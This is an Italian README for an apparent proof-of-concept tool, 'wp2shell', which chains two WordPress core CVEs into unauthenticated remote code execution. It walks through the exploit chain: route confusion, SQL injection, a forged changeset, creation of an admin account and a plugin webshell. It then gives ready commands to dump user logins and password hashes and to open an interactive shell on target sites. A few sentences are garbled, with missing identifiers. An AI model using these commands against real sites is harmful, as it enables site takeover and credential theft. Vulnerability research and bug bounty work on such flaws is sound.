
CVE-2026-63030 & CVE-2026-60137 catena RCE proof-of-concept
⚠ Questo strumento è creato esclusivamente per scopi educativi o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.
Proof-of-concept per la catena di vulnerabilità wp2shell che interessa WordPress Core, combinando CVE-2026-63030 e CVE-2026-60137. Il progetto dimostra l'interazione tra la vulnerabilità di route confusion dell'API REST Batch e una SQL injection in WP_Query, che si traduce in un percorso non autenticato verso il compromesso completo di WordPress e l'esecuzione di codice in remoto (RCE).
Leggi l'advisory completo qui
wp2shell è una catena RCE pre-autenticazione nel core di WordPress, che combina CVE-2026-63030 (route confusion nell'endpoint REST batch) e CVE-2026-60137 (SQL injection in WP_Query).
La route confusion: /wp-json/batch/v1 elabora più sotto-richieste tramite array paralleli $matches e $validation indicizzati per posizione. Una sotto-richiesta con un path malformato (ad esempio, http://:) viene aggiunta a $validation ma non a a causa di un'istruzione , desincronizzando gli array. Le richieste successive vengono inviate sotto l'handler destinato alla richiesta , aggirando la validazione dello schema e i controlli dei permessi.
$matchescontinueLa SQL injection: Due chiamate batch annidate sfruttano questo comportamento. Il batch esterno aggira la allow-list dei metodi (che normalmente blocca GET). Il batch interno consegna una stringa scalare author_exclude a GET /wp/v2/posts - la desincronizzazione la instrada oltre la validazione, e WP_Query interpola la stringa non sanificata direttamente nell'SQL, producendo una blind injection basata su UNION.
Cache poisoning: La SQLi restituisce oggetti WP_Post falsificati, che WordPress memorizza nella cache in memoria. Questi post falsi contengono shortcode [embed] che inducono WordPress a creare righe reali nel database oembed_cache a partire dai riferimenti falsi.
Changeset escalation: Usando la SQLi, l'attaccante falsifica un post customize_changeset in memoria con "user_id": 1 nel suo JSON. Un gadget di rilevamento dei cicli attiva wp_update_post() senza sovrascrivere post_content, preservando il payload dell'attaccante. L'applicazione del changeset assume temporaneamente l'identità dell'amministratore.
Hook re-entry: Un post fabbricato con stato parse e tipo request attiva l'hook parse_request, riproducendo l'intera richiesta batch con il ruolo admin assunto. Questa volta, una sotto-richiesta POST /wp/v2/users riesce, creando un nuovo account admin.
Esecuzione di codice: L'attaccante effettua il login come admin creato e carica un plugin malevolo per eseguire comandi arbitrari.
| Versione | Stato |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnerabile |
| WordPress 7.0.0 – 7.0.1 | Vulnerabile |
| WordPress 6.9.5 | Corretta |
| WordPress 7.0.2+ | Corretta |
Per usare questo PoC, l'unico requisito è Python 3.8+.
Eseguilo dalla directory del repository per effettuare un controllo di vulnerabilità:
wp2shell.py http://victim.com
Esegue un singolo controllo di vulnerabilità. Invia una sonda batch benigna che rileva il bug di route confusion senza eseguire payload SQLi. Un target vulnerabile restituisce HTTP 207 con il pattern di errore parse_path_failed, block_cannot_read e rest_batch_not_allowed.
Usa --confirm-sqli per inviare anche un payload attivo di conferma SQLi. La conferma prova prima la riflessione UNION, poi ripiega su sonde basate sul timing.
Controlla singolo target (modalità predefinita)
wp2shell.py http://target.com
Controlla con modalità esplicita
Check with explicit mode
wp2shell.py http://target.com --check
Controlla con conferma SQLi
wp2shell.py http://target.com --check --confirm-sqli
Estrae dati dal database usando la SQL injection pre-autenticazione. Per impostazione predefinita usa --technique auto, che prova i metodi disponibili in questo ordine:
WP_Post fittizia tramite UNION e ne legge il titolo dalla risposta REST come ||HEX(value)||. Una richiesta per valore. Il più veloce.EXTRACTVALUE/UPDATEXML per estrarre ~15 byte per richiesta. Funziona quando il target riflette gli errori MySQL (ad esempio, WP_DEBUG_DISPLAY attivo).X-WP-Total come segnale vero/falso. Funziona anche quando nessun dato viene riflesso.Forza una tecnica specifica con --technique union|error|blind. Questi percorsi di lettura sono di sola lettura e non scrivono nel database.
Fingerprint del server (query predefinita)
wp2shell.py http://target.com --read
Estrai login e hash delle password
wp2shell.py http://target.com --read --preset users
Query SQL personalizzata
wp2shell.py http://target.com --read --query "SELECT @@version"
Forza la tecnica blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Estrai con la tecnica error-based
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Esegue comandi sul server target. Funziona in due modalità:
Con credenziali (effettua il login come admin esistente e carica una shell plugin):
Esegui comando specifico
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interattiva
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Senza credenziali (RCE pre-auth - esegue l'intero bridge SQLi→admin, effettua il login come admin generato, poi carica la shell plugin):
Esegui singolo comando
wp2shell.py http://target.com --shell --cmd id
Shell interattiva
wp2shell.py http://target.com --shell --interactive
La webshell plugin viene caricata con un path casuale e un token per esecuzione. La webshell caricata viene rimossa automaticamente. Quando il bridge pre-auth crea un amministratore, quell'account generato viene rimosso automaticamente al termine della sessione shell.
Elenco completo dei flag:
| Flag | Descrizione |
|---|---|
--check | Esegue il controllo di vulnerabilità (modalità predefinita se non viene specificata un'altra modalità) |
--read | Estrae dati tramite SQL injection |
--shell | Esegue comandi sul server |
--query | Query SQL personalizzata per la modalità read |
--preset | Preset di query predefinito (users, config, versions) |
--technique | Tecnica di estrazione SQLi: union, error, blind o auto (predefinita) |
--confirm-sqli | Invia il payload di conferma SQLi dopo il check |
--cmd | Comando da eseguire in modalità shell (predefinito: id) |
--interactive, -i | Modalità shell interattiva |
--user | Username admin per la shell autenticata |
--password | Password admin per la shell autenticata |
--proxy | Proxy HTTP/HTTPS (ad esempio, http://127.0.0.1:8080) |
--timeout | Timeout della richiesta in secondi (predefinito: 30) |
--verbose, -v | Output dettagliato |
Questo strumento è creato esclusivamente per scopi educativi o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.